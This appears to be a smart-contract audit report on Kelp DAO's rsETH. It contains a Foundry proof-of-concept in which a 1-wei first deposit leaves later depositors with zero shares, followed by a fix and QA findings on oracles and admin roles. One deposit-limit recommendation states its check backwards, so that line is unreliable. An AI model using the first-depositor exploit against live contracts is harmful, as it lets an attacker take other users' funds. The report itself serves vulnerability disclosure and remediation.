Kelp DAO | rsETH - Madalad's results

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L70 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L109

Vulnerability details

Impact

Due to a miscalculation in LRTOracle#getRSETHPrice(), users who call LRTDepositPool#depositAsset() when rsETH.totalSupply() is non-zero will receive fewer rsETH tokens than they should due to a rounding error. This can be exploited by a malicious first depositor, who can deposit 1 wei (frontrunning if necessary), receive 1 share and therefore cause all subsequent deposits to mint 0 shares, despite the asset tokens being transferred to the contract. Because this results in the first depositor holding 100% of the outstanding shares (1 out of 1) no matter how many more deposits occur, the attacker is entitled to the funds of those future depositors and has essentially stolen their assets.

It is worth noting that even if the first depositor is not malicious, and they deposit a reasonable amount of asset tokens, they would still be unintentionally stealing value from future depositors as the rounding error would still be present. In other words, a loss of funds for every depositor (except whoever deposits first) is guaranteed.

Proof of Concept

Explanation

In LRTDepositPool#depositAsset(), the asset tokens are transferred to the contract, and then _mintRsETH() is called to mint shares to msg.sender, which uses getRsETHAmountToMint to determine how many shares to mint. To perform the calculation, the prices of asset and rsETH are used, which are fetched by LRTOracle#getAssetPrice() and LRTOracle#getRSETHPrice().

The issue here is that the output of getRSETHPrice() depends on the balance of rsETH tokens in LRTDepositPool (as long as rsEthSupply is non-zero), and this calculation occurs after the users asset tokens for the current mint have been transferred. This means that the rsETH price will be overinflated, and since it is used as the denominator in the calculation of rsethAmountToMint, this results in fewer tokens minted to the depositor.

File: src\LRTOracle.sol

52:     function getRSETHPrice() external view returns (uint256 rsETHPrice) {
53:         address rsETHTokenAddress = lrtConfig.rsETH();
54:         uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();
55: 
56:         if (rsEthSupply == 0) {
57:             return 1 ether;
58:         }
59: 
60:         uint256 totalETHInPool;
61:         address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);
62: 
63:         address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
64:         uint256 supportedAssetCount = supportedAssets.length;
65: 
66:         for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
67:             address asset = supportedAssets[asset_idx];
68:             uint256 assetER = getAssetPrice(asset);
69: 
                // @audit getTotalAssetDeposits(asset) includes the tokens transferred for the current deposit
70:             uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
71:             totalETHInPool += totalAssetAmt * assetER;
72: 
73:             unchecked {
74:                 ++asset_idx;
75:             }
76:         }
77: 
78:         return totalETHInPool / rsEthSupply;
79:     }

File: src\LRTDepositPool.sol

095:     function getRsETHAmountToMint(
096:         address asset,
097:         uint256 amount
098:     )
099:         public
100:         view
101:         override
102:         returns (uint256 rsethAmountToMint)
103:     {
104:         // setup oracle contract
105:         address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE);
106:         ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress);
107: 
108:         // calculate rseth amount to mint based on asset amount and asset exchange rate
109:         rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(); // @audit denominator is inflated
110:     }

If the initial depositor deposits a small enough amount, say 1 wei, then the rsETH price for their mint will be 1 ether, because rsEthSupply == 0 and so the if statement is executed and they receive 1 share. With rsETH.totalSupply() now equal to 1, any future deposits will cause getRSETHPrice() to return a massively inflated value, leading to getRsETHAmountToMint() returning 0 due to a rounding error.

Coded PoC

To run the PoC, we must make some alterations to LRTDepositPoolTest.t.sol, as it currently uses LRTOracleMock defined at the top of the file, instead of LRTOracle. First, manually alter the code for LRTOracleMock so that getRSETHPrice contains the actual code from LRTOracle (simply copy and paste it in). Then, to ensure it works properly, also make sure to import LRTConfig and define the IRSETH interface.

import {LRTConfig} from "src/LRTConfig.sol";

interface IRSETH {
    function totalSupply() external view returns (uint256);
}

contract LRTOracleMock {
    LRTConfig lrtConfig;

    // @audit necessary to set lrtConfig state variable so that getRSETHPrice() works
    constructor(address _lrtConfig) {
        lrtConfig = LRTConfig(_lrtConfig);
    }

    function getAssetPrice(address) public pure returns (uint256) {
        return 1e18;
    }

    // @audit below function copy+pasted from LRTOracle.sol
    function getRSETHPrice() external view returns (uint256 rsETHPrice) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }

        return totalETHInPool / rsEthSupply;
    }
}

Now the PoC can be run using the logic of the LRTOracle contract. The below test function shows that the first depositor (alice) can deposit 1 wei to ensure that any subsequent depositors receive 0 shares regardless of their depositAmount, and despite their asset tokens being transferred to the deposit pool contract.

    function test_MaliciousFirstDepositor() external {
        // Setup
        vm.prank(admin);
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));

        uint256 aliceAmount = 1 wei;
        uint256 bobAmount = 40_000 ether;
        uint256 carolAmount = 40_000 ether;

        // Cache balances
        uint256 aliceBalanceBefore = rseth.balanceOf(address(alice));
        uint256 bobBalanceBefore = rseth.balanceOf(address(bob));
        uint256 carolBalanceBefore = rseth.balanceOf(address(carol));

        // Alice deposits
        vm.startPrank(alice);
        rETH.approve(address(lrtDepositPool), aliceAmount);
        lrtDepositPool.depositAsset(rETHAddress, aliceAmount);
        vm.stopPrank();

        // Bob deposits
        vm.startPrank(bob);
        rETH.approve(address(lrtDepositPool), bobAmount);
        lrtDepositPool.depositAsset(rETHAddress, bobAmount);
        vm.stopPrank();

        // Carol deposits
        vm.startPrank(carol);
        rETH.approve(address(lrtDepositPool), carolAmount);
        lrtDepositPool.depositAsset(rETHAddress, carolAmount);

        // Cache balances
        uint256 aliceBalanceAfter = rseth.balanceOf(address(alice));
        uint256 bobBalanceAfter = rseth.balanceOf(address(bob));
        uint256 carolBalanceAfter = rseth.balanceOf(address(carol));
        
        // Alice received 1 share while Bob and Carol received 0
        assertEq(aliceBalanceAfter, 1 wei);
        assertEq(bobBalanceAfter, 0);
        assertEq(carolBalanceAfter, 0);

        // Bob and Carol's rETH is in lrtDepositPool contract
        assertEq(rETH.balanceOf(address(lrtDepositPool)), aliceAmount + bobAmount + carolAmount);

        // Alice has 100% of shares
        assertEq(aliceBalanceAfter, rseth.totalSupply());
    }

Alternatively, simply place the test file found here into the test folder. The file has three test functions:

1. first depositor deposits 1 wei maliciously (shown above)
2. first three depositors each deposit 1 ether
3. fuzz test where first depositor deposits 1 wei and second depositor deposits a random amount

Tools Used

Foundry

Recommended Mitigation Steps

Calculate the amount of rsETH to mint before transferring the asset tokens from the user to the contract, so that the price of rsETH is calculated correctly and each depositor receives a fair amount of shares. Note that there is no concern for reentrancy due to this change, as nonReentrant modifiers are used throughout the protocol and rsETH is a trusted token with no mint/transfer hooks.

File: src/LRTDepositPool.sol
    function depositAsset(
        address asset,
        uint256 depositAmount
    )
        external
        whenNotPaused
        nonReentrant
        onlySupportedAsset(asset)
    {
        // checks
        if (depositAmount == 0) {
            revert InvalidAmount();
        }
        if (depositAmount > getAssetCurrentLimit(asset)) {
            revert MaximumDepositLimitReached();
        }

+       // interactions
+       uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

        if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
            revert TokenTransferFailed();
        }

-       // interactions
-       uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

        emit AssetDeposit(asset, depositAmount, rsethAmountMinted);
    }

Assessed type

Token-Transfer

QA Report

Chainlink price feed decimals not checked

The price value returned by a Chainlink price feed will have a different decimals value depending on the price feed used. While currently most ETH pairs use 18 decimals and USD pairs use 8 decimals (see the price feeds for LINK/ETH and LINK/USD for example), there is no guarantee that this will be the case for price feeds deployed in the future. If the decimals are not checked when querying a price feed, incorrect decimals may be assumed which can lead to significant accounting errors. Specifically, in LRTDepositPool#getRsETHAmountToMint, the decimals of getAssetPrice() is assumed to be exactly 18, otherwise the returned value could be far smaller than expected, leading to users being minted far fewer rsETH tokens than intended.

To access a price feeds decimals, simply call priceFeed.decimals().

https://github.com/code-423n4/2023-11-kelp/blob/main/src/oracles/ChainlinkPriceOracle.sol#L38

Chainlink's latestAnswer can return stale or incorrect results

Chainlink's latestAnswer is used here to retrieve price feed data, however there is insufficient protection against price staleness. Only the price is returned, and it is possible for an outdated price to be received. See here for reasons why a price feed might stop updating.

Inaccurate price data can lead to functions not working as expected and/or lost funds. For example, if the price of a supported asset drops suddenly but the oracle is returning an outdated higher price, users can take advantage of this by calling LRTDepositPool#depositAsset to mint themselves more rsETH than their transferred assets are worth, stealing value from the protocol.

Use the updatedAt value from latestRoundData to check if the price is stale:

    function getAssetPrice(address asset) external view onlySupportedAsset(asset) returns (uint256) {
-       return AggregatorInterface(assetPriceFeed[asset]).latestAnswer();
+       (,int256 answer,,uint256 updatedAt,) = AggregatorInterface(assetPriceFeed[asset]).latestRoundData();
+       require(block.timestamp - updatedAt < MAX_DELAY, "stale price");
+       return answer;
    }

https://github.com/code-423n4/2023-11-kelp/blob/main/src/oracles/ChainlinkPriceOracle.sol#L38

Chainlink aggregators return the incorrect price if it drops below minAnswer

Chainlink aggregators have a built in circuit breaker if the price of an asset goes outside of a predetermined price band. The result is that if an asset experiences a huge drop in value (i.e. LUNA crash) the price of the oracle will continue to return the minAnswer instead of the actual price of the asset. See Chainlink's docs for more info.

This discrepency could allow users to deposit supported assets that the protocol perceives as worth more than they actually are, minting them more rsETH than intended and causing bad debt in the protocol. A similar attack occurred to Venus on BSC when LUNA imploded.

Consider adding a check to revert if the price received from the oracle is out of bounds.

https://github.com/code-423n4/2023-11-kelp/blob/main/src/oracles/ChainlinkPriceOracle.sol#L38

DEFAULT_ADMIN_ROLE can renounce role

LRTConfig inherits OpenZeppelin's AccessControlUpgradeable which allows callers to renounce roles via the renounceRole function. This includes the DEFAULT_ADMIN_ROLE, which is the admin for every other role, as well as the role responsible for many critical functions in the protocol, including updateAssetStrategy, unpause, etc. If this role is renounced, then calling any of those functions, as well as management of all other roles is impossible.

Renouncing this role should be explicitly prevented by overriding renounceRole and throwing if DEFAULT_ADMIN_ROLE is passed.

LRTConfig#setToken should require the asset to be supported

If setToken() is called on an assetAddress that is not supported, it may mislead those who would call getLSTToken() and receive a non-zero address.

File: src\LRTConfig.sol

149:     function setToken(bytes32 tokenKey, address assetAddress) external onlyRole(DEFAULT_ADMIN_ROLE) {
150:         _setToken(tokenKey, assetAddress); // @audit no check for isSupportedAsset[assetAddress]
151:     }
152: 
153:     /// @dev private function to set a token
154:     /// @param key Token key
155:     /// @param val Token address
156:     function _setToken(bytes32 key, address val) private {
157:         UtilLib.checkNonZeroAddress(val);
158:         if (tokenMap[key] == val) {
159:             revert ValueAlreadyInUse();
160:         }
161:         tokenMap[key] = val;
162:         emit SetToken(key, val);
163:     }

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTConfig.sol#L149-L163

LRTManager can transfer asset tokens to NodeDelegator while contract is paused

LRTDepositPool uses Pausable to allow the manager/admin to pause the contract and prevent any sensitive actions, however transferAssetToNodeDelegator() is missing the whenNotPaused modifier, meaning it is callable even if the contract is in a paused state. The transfer of funds should not be permitted while the contract is paused (in NodeDelegator, functions that transfer funds use the whenNotPaused modifier even if they are admin protected).

Add the whenNotPaused modifier to transferAssetToNodeDelegator().

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L183-L192

LRTConfig#updateAssetDepositLimit() can cause DoS

LRTConfig#updateAssetDepositLimit() is used by the LTR manager to change the depositLimit for a particular asset after initialization.

File: src\LRTConfig.sol

094:     function updateAssetDepositLimit(
095:         address asset,
096:         uint256 depositLimit
097:     )
098:         external
099:         onlyRole(LRTConstants.MANAGER)
100:         onlySupportedAsset(asset)
101:     {
102:         depositLimitByAsset[asset] = depositLimit;
103:         emit AssetDepositLimitUpdate(asset, depositLimit);
104:     }

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTConfig.sol#L94-L104

However it is lacking checks on the new depositLimit value, meaning it is possible to set it below the amount of currently deposited assets, and doing so would result in DoS. This could occur by mistake, or intentionally by a malicious/compromised manager.

If the depositLimit is set to a value less than the current total assets deposited, then getAssetCurrentLimit() would revert due to underflow:

File: src\LRTDepositPool.sol

56:     function getAssetCurrentLimit(address asset) public view override returns (uint256) {
57:         return lrtConfig.depositLimitByAsset(asset) - getTotalAssetDeposits(asset); // @audit underflow
58:     }

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L56-L58

getAssetCurrentLimit() is called within depositAsset(), meaning that in this scenario users would not be able to deposit. Consider preventing this by requiring that the new depositLimit passed to updateAssetDepositLimit is less than getTotalAssetDeposits().

Ensure updateAssetStrategy() cannot set invalid strategy address

A malicious/compromised manager (or one who makes a mistake) could set an invalid strategy address, which could potentially lead to a large loss of user funds. Prevent this by checking that the destination address is indeed an EigenLayer strategy. This can be done by calling explanation() on the target address and checking it is equal to the expected result (it is the same for each of the three strategies [1] [2] [3]).

    function updateAssetStrategy(
        address asset,
        address strategy
    )
        external
        onlyRole(DEFAULT_ADMIN_ROLE)
        onlySupportedAsset(asset)
    {
        UtilLib.checkNonZeroAddress(strategy);
+       require(IStrategy(strategy).explanation() == "Base Strategy implementation to inherit from for more complex implementations");
        if (assetStrategy[asset] == strategy) {
            revert ValueAlreadyInUse();
        }
        assetStrategy[asset] = strategy;
    }